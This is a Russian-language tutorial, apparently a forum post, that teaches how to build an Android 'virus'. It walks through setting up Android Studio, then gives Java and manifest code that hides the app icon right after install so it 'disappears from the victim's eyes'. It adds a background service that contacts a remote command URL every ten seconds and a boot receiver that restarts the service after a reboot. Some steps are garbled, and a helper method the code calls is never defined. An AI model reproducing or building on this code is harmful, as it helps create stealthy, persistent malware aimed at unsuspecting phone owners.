Привет всем, сегодня я вас научу такому ремеслу, как создание вирусов на Android
Тут нет ничего сложно, просто следуйте описанным шагам.
1.Производим установку java для разработчиков с официального сайта.
2. Скачиваем программу – Android Studio. Скачивайте полную версию, не буду вам рассказать обо всем, сейчас это вам не требуется
3. Наливайте чаю и берите с собой пончики. Сейчас нам придется все это дело установить и настроить.
4. Везде тыкаем далее, нам не требуется вся та информация. Зачем наполнять голову лишними вещами?
5. После установки всего этого набора, производим запуск студии. Наверху нам нужно будет найти кнопку SDK Manager. Она находится по правую сторону. Нажимаем, отмечаем галочками все пункты и начинаем скачивание.
6. Продолжаем пить чай с пончиками. Сейчас процесс будет идти дольше, так как будут устанавливаться различные функции.
7. На этом этапе все закончено.
С чего же начнем?
Итак, мы все установили и теперь задаем вопросом, а как же нам написать вирус?
Поэтому нажимаем File – New – New project. Здесь нам нужно будет ввести название программы. Естественно пишем все что угодно. Благодаря этим данным формируется специальное имя, которое будет являть уникальным название вашего APK. Идем дальше. Тут нам будет предложено на выбор платформы, на которых будет работать наш вирус. Естественно, здесь мы выбираем “Телефон”. Просто остальные пункты расскажу позже.
Дальше. Теперь нужно выбрать, каким будет стартовое окно при запуске приложения. Тут есть важное примечание. Что код был активирован сразу после того, как программа будет установлена, нужно выбрать любое окно. Поэтому можете выбрать что угодно, но не No Activity. Но рекомендую взять Empty. Можно будет более легко убрать весь мусор. Дальше. Записываем название и нажимаем кнопку Finish.
Ты слишком большой!
Теперь пробуем собрать все эти куски в апк файл. Build – Generate signed apk. Что же можем наблюдать? Апк файл с 1 окном и приложением, которое ничего не умеет. Занимает целый 1 МБ. С этим нужно что-то сделать, а если быть точнее, то отключить библиотеки, которые добавляют красивую графику, которая как вы могли догадаться – не требуется. Переходим в Main.Activity.java
Изменяем
public class MainActivity extends AppCompatActivity
на
import android.support.v7.app.AppCompatActivity;
После этих действий нам нужно перейти в настройки и во вкладке Depends уничтожить строку AppCompat. После этого идем к файлу values.xml и styles.xml. Также отправляем их на мусорку.
Переходим в androidManifest.xml и изменяем
android:theme="@style/AppTheme"
на
android:theme="@android:style/Theme.Translucent.NoTitleBar"
Опять собираем все по кусочкам, вуаля! Размер менее 50 килобайт. С этим уже можно работать
Прятки
Следующий этап по списку – это необходимость в скрытии нашего вируса. Для того, чтобы иконка исчезла. А также нужно, чтобы приложение закрывалось.
Вставляем после setContentView(R.layout.activity_main) Данный код:
String pgkname = getApplicationContext().getPackageName();
ComponentName componentToDisable = new ComponentName(pgkname,pgkname+".MainActivity");
getApplicationContext().getPackageManager().setComponentEnabledSetting(
componentToDisable,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
Данный код сделаем иконку невидимой. После этого необходимо написать
1
finish();
Теперь после установки, приложение моментально закрывается и исчезает с глаз жертвы. Мы уже сделали неплохие успехи, однако нужно идти дальше.
Открывайте, мы пришли!
Что же требуется теперь? А теперь нам нужно, чтобы эта программа начала проситься в админку. Тут предполагается, что админа уже присутствует и нам нужно к ней проситься. Мы будем использовать самый простой метод и к сожалению он не будет стабильно работать на версиях Android 4+. Но все же нужно с чего начинать. Нам необходимо создать сервис. Чтобы это сделать – создаем файл с новым class. Пишем необходимое название класса, я выберу – Network. Дальше. Удаляем весь код кроме самой первой записи и меня его на это:
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import java.io.InputStream;
import java.util.Timer;
import java.util.TimerTask;
public class Network extends Service{
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return Service.START_STICKY;
}
@Override
public IBinder onBind(Intent intent) {
throw new UnsupportedOperationException("");
}
@Override
public void onCreate()
{
MyTimerTask myTask = new MyTimerTask();
Timer myTimer = new Timer();
myTimer.schedule(myTask, 10000, 10000);
}
class MyTimerTask extends TimerTask {
public void run() {
String result = "";
result = GET("http://site.ru/?q=");
// Обработка result
}
}
public String GET(String url){
InputStream inputStream = null;
String result = "";
try {
HttpClient httpclient = new DefaultHttpClient();
HttpResponse httpResponse = httpclient.execute(new HttpGet(url));
inputStream = httpResponse.getEntity().getContent();
if(inputStream != null)
result = convertInputStreamToString(inputStream);
else
result = "";
} catch (Exception e) {
}
return result;
}
}
Данный код будет описывать класс, который при запуске, включает таймер и каждые десять секунд отправляет запрос на URL-адрес и просит ответа. Но мы не закончили. Данный код не заработает если этот сервис будет объявлен в манифесете и у него не будет доступа к интернету. Переходим в манифест
Вписываем туда это
<uses-permission android:name="android.permission.INTERNET" />
А в описании application
<service android:name=".Network" />
Теперь, нам нужно лишь запустить сервис. Переходим в MainActivity и перед finish() вписывает его запуск.
getApplicationContext().startService(new Intent(getApplicationContext(), Network.class));
Вот и финиш
Теперь у нас есть приложение, которое открывается, скрывается и запускает отпуск в админ панель. Однако мы забили очень важную вещь, а что если телефон перезапустят? В этом случае, наш АПК больше никогда не будет запущен. Чтобы устранить это, опять идем в манифест
Для этого добавляет права на старт после перезапуска
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
Так же нужно добавить обработчик в application
<receiver
android:name=".Boot"
android:enabled="true" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>
После того как будет произведет перезапуск, будет запущен класс Boot. Но для этого его нужно создать, выполняет все как я описывал в прошлом примере, оставляя лишь начальную информацию.
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class Boot extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent arg1) {
context.startService(new Intent(context, Network.class));
}
}